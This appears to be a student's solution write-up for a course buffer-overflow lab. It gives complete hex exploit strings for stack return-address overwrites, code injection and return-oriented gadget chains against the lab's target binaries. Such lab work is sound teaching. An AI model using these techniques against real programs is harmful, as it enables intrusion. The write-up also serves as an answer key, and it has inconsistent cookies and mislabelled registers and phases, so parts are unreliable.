Code Injection Attacks

Phase 1: Overwriting Return Address

When `getbuf` executes its return statement (line 5 of `getbuf`), the program ordinarily resumes execution within the function `test`. We want `getbuf` to return to `touch1`. The return address of `test` is stored below the space allocated for the buffer, so we need to:

1. Find the size of the buffer
2. Inject a string that fills the buffer and then contains the return address of `touch1` (in little endian).

From the object dump of ctarget:

```
0000000000401714 <getbuf>:
  401714:   48 83 ec 38             sub    $0x38,%rsp
  401718:   48 89 e7                mov    %rsp,%rdi
  40171b:   e8 3a 02 00 00          callq  40195a <Gets>
  401720:   b8 01 00 00 00          mov    $0x1,%eax
  401725:   48 83 c4 38             add    $0x38,%rsp  # size of buffer is 0x38
  401729:   c3                      retq

000000000040172a <touch1>: # return address is 0x40172a
```

…. Code …

From this information, we can create the exploit string. This is the input before getting passed into hex2raw:

```
00 00 00 00 00 00 00 00  # padding for buffer
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
2a 17 40                 # return address in little endian
```

Phase 2: Small Code Injection

We now want to call the code for touch2 and pass our cookie as an argument. Now, instead of the return address of touch2, we want to return to code that will save our cookie to a register. After that, we need to return to touch 2.

From the object dump of ctarget:

```
0000000000401756 <touch2>:
  401756:   48 83 ec 08             sub    $0x8,%rsp
  40175a:   89 fe                   mov    %edi,%esi
  40175c:   c7 05 96 2d 20 00 02    movl   $0x2,0x202d96(%rip)
  401763:   00 00 00
  401766:   3b 3d 98 2d 20 00       cmp    0x202d98(%rip),%edi # cookie
  40176c:   75 1b                   jne    401789 <touch2+0x33>
```

From this, we can see that the return address of `touch2` is `0x401756` and that the cookie is stored in `%rdi`, the second parameter register. With this information, here are the general steps to solve this problem:

1. Write x86 code that saves our cookie to `%rdi` and pushes the return address of `touch2` on the stack, and then compile and object dump it to get the hex representation of these instructions.
2. Create an injection string like so:
    a. Instructions from object dump of the x86 code we wrote
    b. Padding to fill the rest of the buffer
    c. Return address of the beginning of the buffer. You can find this by setting a breakpoint right before the call to `Gets` in `getbuf` and printing the value of `%rsp` (in my case, this was `0x5565a9c8`).

Here is the code I wrote into injection.s:

```
movq $0x1341a458, %rdi  # make cookie first param
pushq $0x401756         # push address of touch2 on to stack
ret
```

After compiling and object dumping the resulting .o file, we get the following:

```
Disassembly of section .text:
0000000000000000 <.text>:
   0:   48 c7 c7 58 a4 41 13    mov    $0x1341a458,%rdi
   7:   68 56 17 40 00          pushq  $0x401756
   c:   c3                      retq
```

Putting this all together, we get this attack string (in hex):

```
48 c7 c7 58 a4 41 13            # assembly code to save cookie in %rdi
68 56 17 40 00                  # and push address of touch2 onto the stack
c3 00 00 00
00 00 00 00 00 00 00 00         # padding to fill buffer
00 00 00 00 00 00 00 00         # injected code takes 0x10 chars,
00 00 00 00 00 00 00 00         # so we need to add 0x28 char more.
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c8 a9 65 55 00 00 00 00         # address of injected code
```

Phase 3: Small Code Injection with String as Parameter

Phase 3 is a similar code injection attack, but passing a string as an argument. Our task is to get `ctarget` to execute the code for `touch3` rather than returning to test. We must make it appear to `touch3` as if we have passed a string representation of the cookie as its argument. Here is the general plan:

1. Write assembly code to save the address of the cookie (which we'll put below the address of touch3) to `%rdi` and return.
2. Create a buffer string like so:
    a. The assembly code to save the address of the cookie to `%rdi.`
    b. Padding to fill the buffer.
    c. The address of the injected code (which is the value of `%rsp` as discussed in the previous section)
    d. The address of `touch3`.
    e. The cookie represented as a c-string of ASCII characters.

Since we're storing the cookie two lines below the bottom of the buffer padding, the cookie will be stored at `(the value of %rsp right before Gets) + (padding) + (0x8).` Here is the x86 code injection storing that address in `%rdi`:

```
movq $0x5565aa08, %rdi
ret
```

This results in the following attack string (in hex):

```
48 c7 c7 10 aa 65 55 c3          # store address of cookie in %rdi
00 00 00 00 00 00 00 00          # pad buffer
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c8 a9 65 55 00 00 00 00          # address of code injection
2a 18 40 00 00 00 00 00          # address of touch3
31 33 34 31 61 34 35 38          # cookie in string format.
```

Return-Oriented Programming

A. Encodings of `movq` instructions

`movq` S, D

Source S	Destination D							
	%rax	%rcx	%rdx	%rbx	%rsp	%rbp	%rsi	%rdi
%rax	48 89 c0	48 89 c1	48 89 c2	48 89 c3	48 89 c4	48 89 c5	48 89 c6	48 89 c7
%rcx	48 89 c8	48 89 c9	48 89 ca	48 89 cb	48 89 cc	48 89 cd	48 89 ce	48 89 cf
%rdx	48 89 d0	48 89 d1	48 89 d2	48 89 d3	48 89 d4	48 89 d5	48 89 d6	48 89 d7
%rbx	48 89 d8	48 89 d9	48 89 da	48 89 db	48 89 dc	48 89 dd	48 89 de	48 89 df
%rsp	48 89 e0	48 89 e1	48 89 e2	48 89 e3	48 89 e4	48 89 e5	48 89 e6	48 89 e7
%rbp	48 89 e8	48 89 e9	48 89 ea	48 89 eb	48 89 ec	48 89 ed	48 89 ee	48 89 ef
%rsi	48 89 f0	48 89 f1	48 89 f2	48 89 f3	48 89 f4	48 89 f5	48 89 f6	48 89 f7
%rdi	48 89 f8	48 89 f9	48 89 fa	48 89 fb	48 89 fc	48 89 fd	48 89 fe	48 89 ff

B. Encodings of `popq` instructions

Operation	Register R							
	%rax	%rcx	%rdx	%rbx	%rsp	%rbp	%rsi	%rdi
popq R	58	59	5a	5b	5c	5d	5e	5f

C. Encodings of `movl` instructions

`movl` S, D

Source S	Destination D							
	%eax	%ecx	%edx	%ebx	%esp	%ebp	%esi	%edi
%eax	89 c0	89 c1	89 c2	89 c3	89 c4	89 c5	89 c6	89 c7
%ecx	89 c8	89 c9	89 ca	89 cb	89 cc	89 cd	89 ce	89 cf
%edx	89 d0	89 d1	89 d2	89 d3	89 d4	89 d5	89 d6	89 d7
%ebx	89 d8	89 d9	89 da	89 db	89 dc	89 dd	89 de	89 df
%esp	89 e0	89 e1	89 e2	89 e3	89 e4	89 e5	89 e6	89 e7
%ebp	89 e8	89 e9	89 ea	89 eb	89 ec	89 ed	89 ee	89 ef
%esi	89 f0	89 f1	89 f2	89 f3	89 f4	89 f5	89 f6	89 f7
%edi	89 f8	89 f9	89 fa	89 fb	89 fc	89 fd	89 fe	89 ff

D. Encodings of 2-byte functional nop instructions

Operation	Register R			
	%al	%cl	%dl	%bl
andb R, R	20 c0	20 c9	20 d2	20 db
orb R, R	08 c0	08 c9	08 d2	08 db
cmpb R, R	38 c0	38 c9	38 d2	38 db
testb R, R	84 c0	84 c9	84 d2	84 db

Phase 4:

Goal: pass your cookie as a number as the first argument to touch2.
Getbuf has 0x38 → 56 bytes of padding → each 69 is 1 byte → 7 lines of 8 bytes

```
67 69 69 69 69 69 69 68          Padding
67 69 69 69 69 69 69 68
67 69 69 69 69 69 69 68
67 69 69 69 69 69 69 68
67 69 69 69 69 69 69 68
67 69 69 69 69 69 69 68
67 69 69 69 69 69 69 68          End of padding
12 19 40 00 00 00 00 00          Gadget to pop into %rax
1b cb 99 4e 00 00 00 00          Cookie (little endian)
04 19 40 00 00 00 00 00          Gadget to move %rax → %rdi
99 17 40 00 00 00 00 00          Address to touch function
```

Phase 5:

For this phase, we want to call touch3 and pass the address of the cookie as the second parameter. The general idea is that after the buffer, we want to chain the return addresses of several gadgets to ultimately store the address of the cookie in `%rdi.`

However, since we don't know where in the stack our code is going to be placed, we have to store the distance from the beginning of the buffer to the cookie and compute the address of the cookie. The offset is

`(# of lines we add after the end of the buffer - 1) * 8.`

These are the steps to storing the cookie address into `%rdi` and then calling `touch2`:

1. Fill up buffer with padding
2. Copy original `rsp` value to `rdi`
3. Copy offset to `rsi`
4. `lea rsi+rdi` to `rax`
5. move `rax` to `rdi`
6. Call `touch3`

```
00 00 00 00 00 00 00 00          [ 1 ]        # fill up buffer
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
64 19 40 00 00 00 00 00          [ 2 ]        # mov %rsp, %rax
c0 18 40 00 00 00 00 00                       # mov %rax, %rdi
d6 18 40 00 00 00 00 00          [ 3 ]        # popq %rax
48 00 00 00 00 00 00 00                       # offset to pop
4F 19 40 00 00 00 00 00                       # movl %eax, %edx
2F 19 40 00 00 00 00 00                       # movl %edx, %ecx
02 19 40 00 00 00 00 00                       # movl %ecx, %es
F3 18 40 00 00 00 00 00          [ 4 ]        # lea (%rdi,%rsi,1), %rax
CE 18 40 00 00 00 00 00          [ 5 ]        # movl %rax, %rdi
2a 18 40 00 00 00 00 00          [ 6 ]        # touch3
31 33 34 31 61 34 35 38          [ 7 ]        # cookie
```